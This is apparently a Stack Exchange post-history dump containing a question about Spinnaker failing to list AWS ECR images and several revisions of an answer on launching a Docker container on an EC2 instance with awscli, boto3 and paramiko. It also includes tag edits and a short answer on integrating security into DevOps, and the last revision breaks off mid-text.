  <row Id="31894" PostHistoryTypeId="2" PostId="10378" RevisionGUID="b7668dcf-6bb3-40a7-93b9-af11d575b181" CreationDate="2020-01-03T01:28:30.247" UserId="11221" Text="I am trying to get Spinnaker to have a pipeline use an automated trigger which is an image pushed to an ECR repo. I can add different repos fine but can't seem to see the images. I am following this guide and below is the example code I followed plus a second variation I tried.&#xD;&#xA;&#xD;&#xA;    ADDRESS=123456789123.dkr.ecr.us-west-2.amazonaws.com&#xD;&#xA;    REGION=us-west-2&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    hal config provider docker-registry account add my-ecr-registry \&#xD;&#xA;    --address $ADDRESS \&#xD;&#xA;    --username AWS \&#xD;&#xA;    --password-command &quot;aws --region $REGION ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken' | base64 -d | sed 's/^AWS://'&quot;&#xD;&#xA;&#xD;&#xA;hal deploy apply&#xD;&#xA;Variation I tried&#xD;&#xA;&#xD;&#xA;    ADDRESS=123456789123.dkr.ecr.us-west-2.amazonaws.com/api&#xD;&#xA;&#xD;&#xA;Currently I can see the repo in registry name then I load the image section and nothing shows up. I have checked many times and I do have images in the repo - I've even deployed them to my kubernetes cluster and tested they work when building my helm charts.&#xD;&#xA;&#xD;&#xA;What am I missing or can I try?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31895" PostHistoryTypeId="1" PostId="10378" RevisionGUID="b7668dcf-6bb3-40a7-93b9-af11d575b181" CreationDate="2020-01-03T01:28:30.247" UserId="11221" Text="Issue with Spinnaker automated trigger" ContentLicense="CC BY-SA 4.0" />
  <row Id="31896" PostHistoryTypeId="3" PostId="10378" RevisionGUID="b7668dcf-6bb3-40a7-93b9-af11d575b181" CreationDate="2020-01-03T01:28:30.247" UserId="11221" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;cicd&gt;&lt;aws-ecr&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31903" PostHistoryTypeId="2" PostId="10379" RevisionGUID="061486ae-5baa-4af5-9689-73dcce75fc2a" CreationDate="2020-01-03T11:50:29.897" UserId="707" Text="I will give it a try and explain all required steps with examples.&#xD;&#xA;&#xD;&#xA;Please add comments if something is not well enough explained.&#xD;&#xA;&#xD;&#xA;**Scope and limitations**&#xD;&#xA;&#xD;&#xA;In this use case, we want to start just one container manually for demo/research purposes, therefore we explicitly decide to do no *[tag:orchestration]*. &#xD;&#xA;&#xD;&#xA;For a complex and possibly more realistic deployment scenario, this example is therefore not reusable. For same simplicity reasons, we will use EC2 service and a single VM there.&#xD;&#xA;&#xD;&#xA;While following a short documentation research, there seems to be no official AMI with pre-installed Docker, obviously we need to deploy an EC2 instance and install there Docker daemon, then start the daemon. While using a private registry, a login there is required too; for simplicity purposes, we use an image from the public Docker Hub registry.&#xD;&#xA;&#xD;&#xA;Also, I am not going to provide a copy-paste automation script but single steps which can be easily adopted towards individual needs.&#xD;&#xA;&#xD;&#xA;A boilerplate automation could be done either with bash using awscli or with Python, using the boto3 SDK for AWS.&#xD;&#xA; &#xD;&#xA;Python is worth to consider because you can do better processing of JSON responses you get from AWS. You can also tell Python to execute SSH login and bash commands on the remote host.&#xD;&#xA;&#xD;&#xA;**Execution plan**&#xD;&#xA;&#xD;&#xA;* Identify recent AMI image ID&#xD;&#xA;* Create keypair and VM&#xD;&#xA;* Connect to VM&#xD;&#xA;* Install and configure Docker daemon&#xD;&#xA;* Run container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Identify recent AMI image ID**&#xD;&#xA;&#xD;&#xA;Following the official [documentation][1]:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn2-ami-hvm-2.0.????????.?-x86_64-gp2' 'Name=state,Values=available' --query 'reverse(sort_by(Images, &amp;CreationDate))[:1].ImageId' --output text&#xD;&#xA;    ami-01f14919ba412de34&#xD;&#xA;&#xD;&#xA;**Create keypair and VM**&#xD;&#xA;&#xD;&#xA;With `awscli`, you would just say:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 create-key-pair --key-name ec2-docker-test&#xD;&#xA;&#xD;&#xA;But the problem is that you get a JSON structure with your key; it is way easier to process it to a *.pem* file using [Python][2]:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    ec2 = boto3.resource('ec2')&#xD;&#xA;    &#xD;&#xA;    # create a file to store the key locally&#xD;&#xA;    outfile = open('ec2-keypair.pem','w')&#xD;&#xA;    &#xD;&#xA;    # call the boto ec2 function to create a key pair&#xD;&#xA;    key_pair = ec2.create_key_pair(KeyName='ec2-docker-test')&#xD;&#xA;    &#xD;&#xA;    # capture the key and store it in a file&#xD;&#xA;    KeyPairOut = str(key_pair.key_material)&#xD;&#xA;    print(KeyPairOut)&#xD;&#xA;    outfile.write(KeyPairOut)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With the AMI ID we have got previously we can now create the VM:&#xD;&#xA;&#xD;&#xA;    instances = self.ec2r.create_instances(&#xD;&#xA;                     ImageId=AMI_ID,  &#xD;&#xA;                     MinCount=1,&#xD;&#xA;                     MaxCount=1,&#xD;&#xA;                     InstanceType=instance_type,&#xD;&#xA;                     KeyName='ec2-docker-test'&#xD;&#xA;                 )&#xD;&#xA;&#xD;&#xA;AWS API allows also lookup of instance state and IP. With little bit more  Python/boto3 stances you can acquire this data to know when you can proceed.&#xD;&#xA;&#xD;&#xA;**Firewall consideration**&#xD;&#xA;&#xD;&#xA;By default, AWS will create a security group without any traffic restrictions. In a more complex setup, you might want to consider this as well.&#xD;&#xA;&#xD;&#xA;**Test SSH connection**&#xD;&#xA;&#xD;&#xA;As soon as the instance is up and running, you use further Python modules like [paramiko][3] to establish SSH connection and run commands. &#xD;&#xA;&#xD;&#xA;    client = paramiko.SSHClient()&#xD;&#xA;    client.connect(ip, username=username, key_filename=key_filename, port=port,&#xD;&#xA;                               timeout=timeout,&#xD;&#xA;                               auth_timeout=timeout)&#xD;&#xA;    &#xD;&#xA;    stdin, stdout, stderr = ssh.exec_command(&quot;whoami&quot;)&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;**Install Docker and run container**&#xD;&#xA;&#xD;&#xA;Anything else from here is running remote commands. In a Bash script, you would use `ssh` only or `scp` to upload a local bash script and run it remotely.&#xD;&#xA;&#xD;&#xA;    ssh -t &lt;REMOTE_IP&gt; -i &lt;KEY_FILE&gt; &lt;COMMAND&gt;&#xD;&#xA;&#xD;&#xA;That is, the concluding steps are, following an example in the [official documentation][4]:&#xD;&#xA;&#xD;&#xA;* install and configure Docker daemon &#xD;&#xA;* login to your Docker registry if needed&#xD;&#xA;* run Docker container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;Both Bash and Python implementation options have their benefits and drawbacks. Seen on long term, Python as general purpose programming language allows complex string manipulation and abstractions from a cloud API or a system process.&#xD;&#xA;&#xD;&#xA;Without knowing the real goal of the deployment, a coherent wrap-up of above steps might not be worth effort it in terms that for deploying a set of related containers which is more typical scenario, other approaches could be more useful. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/finding-an-ami.html#finding-an-ami-aws-cli&#xD;&#xA;  [2]: https://blog.ipswitch.com/how-to-create-an-ec2-instance-with-python&#xD;&#xA;  [3]: http://www.paramiko.org/&#xD;&#xA;  [4]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="31904" PostHistoryTypeId="5" PostId="10379" RevisionGUID="642d07e9-0693-404c-a0ae-37e376d1fdba" CreationDate="2020-01-03T11:55:31.120" UserId="707" Comment="added 1 character in body" Text="I will give it a try and explain all required steps with examples.&#xD;&#xA;&#xD;&#xA;Please add comments if something is not well enough explained.&#xD;&#xA;&#xD;&#xA;**Scope and limitations**&#xD;&#xA;&#xD;&#xA;In this use case, we want to start just one container manually for demo/research purposes, therefore we explicitly decide to do no *[tag:orchestration]*. &#xD;&#xA;&#xD;&#xA;For a complex and possibly more realistic deployment scenario, this example is therefore not reusable. For same simplicity reasons, we will use EC2 service and a single VM there.&#xD;&#xA;&#xD;&#xA;While following a short documentation research, there seems to be no official AMI with pre-installed Docker, obviously we need to deploy an EC2 instance and install there Docker daemon, then start the daemon. While using a private registry, a login there is required too; for simplicity purposes, we use an image from the public Docker Hub registry.&#xD;&#xA;&#xD;&#xA;Also, I am not going to provide a copy-paste automation script but single steps which can be easily adopted towards individual needs.&#xD;&#xA;&#xD;&#xA;A boilerplate automation could be done either with bash using awscli or with Python, using the boto3 SDK for AWS.&#xD;&#xA; &#xD;&#xA;Python is worth to consider because you can do better processing of JSON responses you get from AWS. You can also tell Python to execute SSH login and bash commands on the remote host.&#xD;&#xA;&#xD;&#xA;**Execution plan**&#xD;&#xA;&#xD;&#xA;* Identify recent AMI image ID&#xD;&#xA;* Create keypair and VM&#xD;&#xA;* Connect to VM&#xD;&#xA;* Install and configure Docker daemon&#xD;&#xA;* Run container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Identify recent AMI image ID**&#xD;&#xA;&#xD;&#xA;Following the official [documentation][1]:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn2-ami-hvm-2.0.????????.?-x86_64-gp2' 'Name=state,Values=available' --query 'reverse(sort_by(Images, &amp;CreationDate))[:1].ImageId' --output text&#xD;&#xA;    ami-01f14919ba412de34&#xD;&#xA;&#xD;&#xA;**Create keypair and VM**&#xD;&#xA;&#xD;&#xA;With `awscli`, you would just say:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 create-key-pair --key-name ec2-docker-test&#xD;&#xA;&#xD;&#xA;But the problem is that you get a JSON structure with your key; it is way easier to process it to a *.pem* file using [Python][2]:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    ec2 = boto3.resource('ec2')&#xD;&#xA;    &#xD;&#xA;    # create a file to store the key locally&#xD;&#xA;    outfile = open('ec2-keypair.pem','w')&#xD;&#xA;    &#xD;&#xA;    # call the boto ec2 function to create a key pair&#xD;&#xA;    key_pair = ec2.create_key_pair(KeyName='ec2-docker-test')&#xD;&#xA;    &#xD;&#xA;    # capture the key and store it in a file&#xD;&#xA;    KeyPairOut = str(key_pair.key_material)&#xD;&#xA;    print(KeyPairOut)&#xD;&#xA;    outfile.write(KeyPairOut)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With the AMI ID we have got previously we can now create the VM:&#xD;&#xA;&#xD;&#xA;    instances = self.ec2r.create_instances(&#xD;&#xA;                     ImageId=AMI_ID,  &#xD;&#xA;                     MinCount=1,&#xD;&#xA;                     MaxCount=1,&#xD;&#xA;                     InstanceType=instance_type,&#xD;&#xA;                     KeyName='ec2-docker-test'&#xD;&#xA;                 )&#xD;&#xA;&#xD;&#xA;AWS API allows also lookup of instance state and IP. With little bit more  Python/boto3 stances you can acquire this data to know when you can proceed.&#xD;&#xA;&#xD;&#xA;**Firewall consideration**&#xD;&#xA;&#xD;&#xA;By default, AWS will create a security group without any traffic restrictions. In a more complex setup, you might want to consider this as well.&#xD;&#xA;&#xD;&#xA;**Test SSH connection**&#xD;&#xA;&#xD;&#xA;As soon as the instance is up and running, you use further Python modules like [paramiko][3] to establish SSH connection and run commands remotely. &#xD;&#xA;&#xD;&#xA;    client = paramiko.SSHClient()&#xD;&#xA;    client.connect(ip, username=username, key_filename=key_filename, port=port,&#xD;&#xA;                               timeout=timeout,&#xD;&#xA;                               auth_timeout=timeout)&#xD;&#xA;    &#xD;&#xA;    stdin, stdout, stderr = ssh.exec_command(&quot;whoami&quot;)&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;**Install Docker and run container**&#xD;&#xA;&#xD;&#xA;Anything else from here is running remote commands. In a Bash script, you would use `ssh` only or `scp` to upload a local bash script and run it remotely.&#xD;&#xA;&#xD;&#xA;    ssh -t &lt;REMOTE_IP&gt; -i &lt;KEY_FILE&gt; &lt;COMMAND&gt;&#xD;&#xA;&#xD;&#xA;That is, the concluding steps are, following an example in the [official documentation][4]:&#xD;&#xA;&#xD;&#xA;* install and configure Docker daemon &#xD;&#xA;* login to your Docker registry if needed&#xD;&#xA;* run Docker container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;Both Bash and Python implementation options have their benefits and drawbacks. Seen on long term, Python being a general purpose programming language with large community, allows complex string manipulation and abstractions from a cloud API or a system process.&#xD;&#xA;&#xD;&#xA;Without knowing the real goal of the deployment, a coherent wrap-up of above steps might not be worth the effort in terms that for deploying a set of related containers which is more typical scenario, other approaches could be more useful. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/finding-an-ami.html#finding-an-ami-aws-cli&#xD;&#xA;  [2]: https://blog.ipswitch.com/how-to-create-an-ec2-instance-with-python&#xD;&#xA;  [3]: http://www.paramiko.org/&#xD;&#xA;  [4]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="31905" PostHistoryTypeId="6" PostId="10378" RevisionGUID="29a77b2f-a710-4d14-96d8-88553ad229c3" CreationDate="2020-01-03T12:59:11.397" UserId="210" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;cicd&gt;&lt;aws-ecr&gt;&lt;spinnaker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31906" PostHistoryTypeId="6" PostId="10345" RevisionGUID="cb7bfff4-09c5-4f3a-b7ed-23381044f8b6" CreationDate="2020-01-03T12:59:48.790" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;cicd&gt;&lt;aws-ecr&gt;&lt;spinnaker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31907" PostHistoryTypeId="5" PostId="10379" RevisionGUID="c9fae300-cb9d-4add-a611-a2a41e80ae23" CreationDate="2020-01-03T13:10:00.890" UserId="707" Comment="deleted 4 characters in body" Text="I will give it a try and explain all required steps with examples.&#xD;&#xA;&#xD;&#xA;Please add comments if something is not well enough explained.&#xD;&#xA;&#xD;&#xA;**Scope and limitations**&#xD;&#xA;&#xD;&#xA;In this use case, we want to start just one container manually for demo/research purposes, therefore we explicitly decide to do no *[tag:orchestration]*. &#xD;&#xA;&#xD;&#xA;For a complex and possibly more realistic deployment scenario, this example is therefore not reusable. For same simplicity reasons, we will use EC2 service and a single VM there.&#xD;&#xA;&#xD;&#xA;According to a short documentation research, there seems to be no official AMI with pre-installed Docker. Thus we need to deploy an EC2 instance and install there Docker daemon, then start the daemon. &#xD;&#xA;&#xD;&#xA;While using a private registry, a login there is required too; for simplicity purposes, we use an image from the public Docker Hub registry.&#xD;&#xA;&#xD;&#xA;Also, I am not going to provide a copy-paste automation script but single steps which can be easily adopted towards individual needs.&#xD;&#xA;&#xD;&#xA;A boilerplate automation could be done either with bash using awscli or with Python, using the boto3 SDK for AWS.&#xD;&#xA; &#xD;&#xA;Python is worth to consider because you can do better processing of JSON responses you get from AWS. You can also tell Python to execute SSH login and bash commands on the remote host.&#xD;&#xA;&#xD;&#xA;**Execution plan**&#xD;&#xA;&#xD;&#xA;* Identify recent AMI image ID&#xD;&#xA;* Create keypair and VM&#xD;&#xA;* Connect to VM&#xD;&#xA;* Install and configure Docker daemon&#xD;&#xA;* Run container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Identify recent AMI image ID**&#xD;&#xA;&#xD;&#xA;Following the official [documentation][1]:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn2-ami-hvm-2.0.????????.?-x86_64-gp2' 'Name=state,Values=available' --query 'reverse(sort_by(Images, &amp;CreationDate))[:1].ImageId' --output text&#xD;&#xA;    ami-01f14919ba412de34&#xD;&#xA;&#xD;&#xA;**Create keypair and VM**&#xD;&#xA;&#xD;&#xA;With `awscli`, you would just say:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 create-key-pair --key-name ec2-docker-test&#xD;&#xA;&#xD;&#xA;But the problem is that you get a JSON structure with your key; it is way easier to process it to a *.pem* file using [Python][2]:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    ec2 = boto3.resource('ec2')&#xD;&#xA;    &#xD;&#xA;    # create a file to store the key locally&#xD;&#xA;    outfile = open('ec2-keypair.pem','w')&#xD;&#xA;    &#xD;&#xA;    # call the boto ec2 function to create a key pair&#xD;&#xA;    key_pair = ec2.create_key_pair(KeyName='ec2-docker-test')&#xD;&#xA;    &#xD;&#xA;    # capture the key and store it in a file&#xD;&#xA;    KeyPairOut = str(key_pair.key_material)&#xD;&#xA;    print(KeyPairOut)&#xD;&#xA;    outfile.write(KeyPairOut)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With the AMI ID we have got previously we can now create the VM:&#xD;&#xA;&#xD;&#xA;    instances = self.ec2r.create_instances(&#xD;&#xA;                     ImageId=AMI_ID,  &#xD;&#xA;                     MinCount=1,&#xD;&#xA;                     MaxCount=1,&#xD;&#xA;                     InstanceType=instance_type,&#xD;&#xA;                     KeyName='ec2-docker-test'&#xD;&#xA;                 )&#xD;&#xA;&#xD;&#xA;AWS API allows also lookup of instance state and IP. With little bit more  Python/boto3 stances you can acquire this data to know when you can proceed.&#xD;&#xA;&#xD;&#xA;**Firewall consideration**&#xD;&#xA;&#xD;&#xA;By default, AWS will create a security group without any traffic restrictions. In a more complex setup, you might want to consider this as well.&#xD;&#xA;&#xD;&#xA;**Test SSH connection**&#xD;&#xA;&#xD;&#xA;As soon as the instance is up and running, you use further Python modules like [paramiko][3] to establish SSH connection and run commands remotely. &#xD;&#xA;&#xD;&#xA;    client = paramiko.SSHClient()&#xD;&#xA;    client.connect(ip, username=username, key_filename=key_filename, port=port,&#xD;&#xA;                               timeout=timeout,&#xD;&#xA;                               auth_timeout=timeout)&#xD;&#xA;    &#xD;&#xA;    stdin, stdout, stderr = ssh.exec_command(&quot;whoami&quot;)&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;**Install Docker and run container**&#xD;&#xA;&#xD;&#xA;Anything else from here is running remote commands. In a Bash script, you would use `ssh` only or `scp` to upload a local bash script and run it remotely.&#xD;&#xA;&#xD;&#xA;    ssh -t &lt;REMOTE_IP&gt; -i &lt;KEY_FILE&gt; &lt;COMMAND&gt;&#xD;&#xA;&#xD;&#xA;That is, the concluding steps are, following an example in the [official documentation][4]; proceeding is same as you would do it locally:&#xD;&#xA;&#xD;&#xA;* install and configure Docker daemon &#xD;&#xA;* login to your Docker registry if needed&#xD;&#xA;* run Docker container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;Both Bash and Python implementation options have their benefits and drawbacks. Seen on long term, Python being a general purpose programming language with large community, allows complex string manipulation and abstractions from a cloud API or a system process.&#xD;&#xA;&#xD;&#xA;Without knowing the real goal of the deployment, a coherent wrap-up of above steps might not be worth the effort in terms that for deploying a set of related containers which is more typical scenario, other approaches could be more useful. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/finding-an-ami.html#finding-an-ami-aws-cli&#xD;&#xA;  [2]: https://blog.ipswitch.com/how-to-create-an-ec2-instance-with-python&#xD;&#xA;  [3]: http://www.paramiko.org/&#xD;&#xA;  [4]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="31908" PostHistoryTypeId="5" PostId="10379" RevisionGUID="da9f2cef-358c-4b2c-86db-f2571d8e1301" CreationDate="2020-01-03T13:31:55.833" UserId="707" Comment="deleted 4 characters in body" Text="I will give it a try and explain all required steps with examples.&#xD;&#xA;&#xD;&#xA;Please add comments if something is not well enough explained.&#xD;&#xA;&#xD;&#xA;The OP (original poster) has not specified a preferred script language; therefore I give illustrating example snippets in Bash and Python trying to achieve best readability.&#xD;&#xA;&#xD;&#xA;**Scope and limitations**&#xD;&#xA;&#xD;&#xA;In this use case, we want to start just one container manually for demo/research purposes, therefore we explicitly decide to do no *[tag:orchestration]*. &#xD;&#xA;&#xD;&#xA;For a complex and possibly more realistic deployment scenario, this example is therefore not reusable. For same simplicity reasons, we will use EC2 service and a single VM there.&#xD;&#xA;&#xD;&#xA;According to a short documentation research, there seems to be no official AMI with pre-installed Docker daemon. Thus we need to deploy an EC2 instance and install there Docker daemon, then start the daemon. &#xD;&#xA;&#xD;&#xA;While using a private registry, a login there is required; for simplicity purposes, I give also an example to run a container from the public Docker Hub registry.&#xD;&#xA;&#xD;&#xA;Also, I am not going to provide a copy-paste automation script but single steps which can be easily adopted towards individual needs. In any case, intermediate results require parsing and passing operations which is then a pure programming activity concern.&#xD;&#xA;&#xD;&#xA;A boilerplate automation could be done either with bash using awscli or with Python, using the boto3 SDK for AWS.&#xD;&#xA; &#xD;&#xA;Python is worth to consider because you can do better processing of JSON responses you get from AWS. You can also tell Python to execute SSH login and bash commands on the remote host.&#xD;&#xA;&#xD;&#xA;**Execution plan**&#xD;&#xA;&#xD;&#xA;* Identify recent AMI image ID&#xD;&#xA;* Create keypair and VM&#xD;&#xA;* Connect to VM&#xD;&#xA;* Install and configure Docker daemon&#xD;&#xA;* Run container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Identify recent AMI image ID**&#xD;&#xA;&#xD;&#xA;Following the official [documentation][1]:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn2-ami-hvm-2.0.????????.?-x86_64-gp2' 'Name=state,Values=available' --query 'reverse(sort_by(Images, &amp;CreationDate))[:1].ImageId' --output text&#xD;&#xA;    ami-01f14919ba412de34&#xD;&#xA;&#xD;&#xA;**Create keypair and VM**&#xD;&#xA;&#xD;&#xA;With `awscli`, you would just say:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 create-key-pair --key-name ec2-docker-test&#xD;&#xA;&#xD;&#xA;But the problem is that you get a JSON structure with your key; it is way easier to process it to a *.pem* file using [Python][2]:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    ec2 = boto3.resource('ec2')&#xD;&#xA;    &#xD;&#xA;    # create a file to store the key locally&#xD;&#xA;    outfile = open('ec2-keypair.pem','w')&#xD;&#xA;    &#xD;&#xA;    # call the boto ec2 function to create a key pair&#xD;&#xA;    key_pair = ec2.create_key_pair(KeyName='ec2-docker-test')&#xD;&#xA;    &#xD;&#xA;    # capture the key and store it in a file&#xD;&#xA;    KeyPairOut = str(key_pair.key_material)&#xD;&#xA;    print(KeyPairOut)&#xD;&#xA;    outfile.write(KeyPairOut)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With the AMI ID we have got previously we can now create the VM:&#xD;&#xA;&#xD;&#xA;    instances = self.ec2r.create_instances(&#xD;&#xA;                     ImageId=AMI_ID,  &#xD;&#xA;                     MinCount=1,&#xD;&#xA;                     MaxCount=1,&#xD;&#xA;                     InstanceType=instance_type,&#xD;&#xA;                     KeyName='ec2-docker-test'&#xD;&#xA;                 )&#xD;&#xA;&#xD;&#xA;AWS API allows also lookup of instance state and IP. With little bit more  Python/boto3 stances you can acquire this data to know when you can proceed.&#xD;&#xA;&#xD;&#xA;**Firewall consideration**&#xD;&#xA;&#xD;&#xA;By default, AWS will create a security group without any traffic restrictions. In a more complex setup, you might want to consider this as well.&#xD;&#xA;&#xD;&#xA;**Test SSH connection**&#xD;&#xA;&#xD;&#xA;As soon as the instance is up and running, you can do everything you like by means of *remote command execution*.&#xD;&#xA;&#xD;&#xA;In a Bash script, you would use `ssh` only or `scp` to upload a local bash script and run it remotely.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; ssh -t &lt;REMOTE_IP&gt; -i &lt;KEY_FILE&gt; &lt;COMMAND&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With Python, you use further modules like [paramiko][3] to establish SSH connection and run commands remotely. &#xD;&#xA;&#xD;&#xA;    client = paramiko.SSHClient()&#xD;&#xA;    client.connect(ip, username=username, key_filename=key_filename, port=port,&#xD;&#xA;                               timeout=timeout,&#xD;&#xA;                               auth_timeout=timeout)&#xD;&#xA;    &#xD;&#xA;    stdin, stdout, stderr = ssh.exec_command(&quot;whoami&quot;)&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;**Install Docker and run container**&#xD;&#xA;&#xD;&#xA;As said above, anything else from here is running remote commands. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;That is, the concluding steps are, following an example in the [official documentation][4]; proceeding is same as you would do it locally, but you need to wrap it in your script and pass over intermediate results if required:&#xD;&#xA;&#xD;&#xA;* install and configure Docker daemon &#xD;&#xA;* login to your Docker registry if needed&#xD;&#xA;* pull image&#xD;&#xA;* run Docker container&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    sudo yum update -y&#xD;&#xA;    sudo amazon-linux-extras install docker&#xD;&#xA;    sudo service docker start&#xD;&#xA;    sudo usermod -a -G docker ec2-user&#xD;&#xA;    # relogin or continue with sudo, which you shouldn't&#xD;&#xA;    aws ecr get-login --no-include-email --region region&#xD;&#xA;    docker pull aws_account_id.REGISTRY.ecr.REGION.amazonaws.com/REPOSITORY/IMAGE:TAG&#xD;&#xA;    docker run --name MYSERVICENAME -d -p PORT_HOST:PORT_CONTAINER IMAGE:TAG&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Pull and run another container listening on port 8001 from a public image with a single step:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    docker run --name nginx -d -p 8001:80 nginx:latest&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;Both Bash and Python implementation options have their benefits and drawbacks. Seen on long term, Python being a general purpose programming language with large community, allows complex string manipulation and abstractions from a cloud API or a system process.&#xD;&#xA;&#xD;&#xA;Without knowing the real goal of the deployment, a coherent wrap-up of above steps might not be worth the effort in terms that for deploying a set of related containers which is more typical scenario, other approaches could be more pragmatic. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/finding-an-ami.html#finding-an-ami-aws-cli&#xD;&#xA;  [2]: https://blog.ipswitch.com/how-to-create-an-ec2-instance-with-python&#xD;&#xA;  [3]: http://www.paramiko.org/&#xD;&#xA;  [4]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31909" PostHistoryTypeId="5" PostId="2986" RevisionGUID="430cfd6e-26e3-4ddc-a4c7-f432f4ee10da" CreationDate="2020-01-03T13:34:59.193" UserId="210" Comment="deleted 37 characters in body" Text="This is a little bit of a general question as you said, so my answer is a little general too.  We have always made security a part of the development process and we enforce policy to make sure our code is secure.  This would include forcing developers to only use languages that can work with your security tools.  This needs to be part of the review process.  Part of this could be in your automated testing process too.  &#xD;&#xA;&#xD;&#xA;In my experience many DevOps companies view security as an afterthought because of the fear of slowing down development.  This runs counter to the reason companies adopt DevOps in the first place.  As you said, security must shift left in the development process.  I believe this is in line with DevOps / agile principles.  Rather than waiting until a product is complete to think about security.  Trying to secure something once it is built or already breached will be far more costly in the long run." ContentLicense="CC BY-SA 4.0" />
  <row Id="31910" PostHistoryTypeId="11" PostId="2983" RevisionGUID="bd7dbd8f-0047-49aa-9fb7-60fbb9642580" CreationDate="2020-01-03T13:35:57.763" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31911" PostHistoryTypeId="5" PostId="10379" RevisionGUID="3a29bb8c-d906-4ea0-a0fc-909180e131c6" CreationDate="2020-01-03T13:36:56.293" UserId="707" Comment="deleted 4 characters in body" Text="I will give it a try and explain all required steps with examples.&#xD;&#xA;&#xD;&#xA;Please add comments if something is not well enough explained.&#xD;&#xA;&#xD;&#xA;The OP (original poster) has not specified a preferred script language; therefore I give illustrating example snippets in Bash and Python, trying to achieve best readability.&#xD;&#xA;&#xD;&#xA;**Scope and limitations**&#xD;&#xA;&#xD;&#xA;In this use case, we want to start just one container manually for demo/research purposes, therefore we explicitly decide to do no *[tag:orchestration]*. &#xD;&#xA;&#xD;&#xA;For a complex and possibly more realistic deployment scenario, this example is therefore not reusable. For same simplicity reasons, we will use EC2 service and a single VM there.&#xD;&#xA;&#xD;&#xA;According to a short documentation research, there seems to be no official AMI with pre-installed Docker daemon. Thus we need to deploy an EC2 instance and install there Docker daemon, then start the daemon. &#xD;&#xA;&#xD;&#xA;While using a private registry, a login there is required; for simplicity purposes, I give also an example to run a container from the public Docker Hub registry.&#xD;&#xA;&#xD;&#xA;Also, I am not going to provide a copy-paste automation script but single steps which can be easily adopted towards individual needs. In any case, intermediate results require parsing and passing operations which is then a pure programming activity concern.&#xD;&#xA;&#xD;&#xA;A boilerplate automation could be done either with bash using awscli or with Python, using the [boto3 SDK][1] for AWS.&#xD;&#xA; &#xD;&#xA;Python is worth to consider because you can do better processing of JSON responses you get from AWS. You can also tell Python to execute SSH login and bash commands on the remote host.&#xD;&#xA;&#xD;&#xA;**Execution plan**&#xD;&#xA;&#xD;&#xA;* Identify recent AMI (Amazon Machine Image) ID&#xD;&#xA;* Create keypair and instance (further, also referenced as VM)&#xD;&#xA;* Connect to the instance&#xD;&#xA;* Install and configure Docker daemon&#xD;&#xA;* Run container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Identify recent AMI image 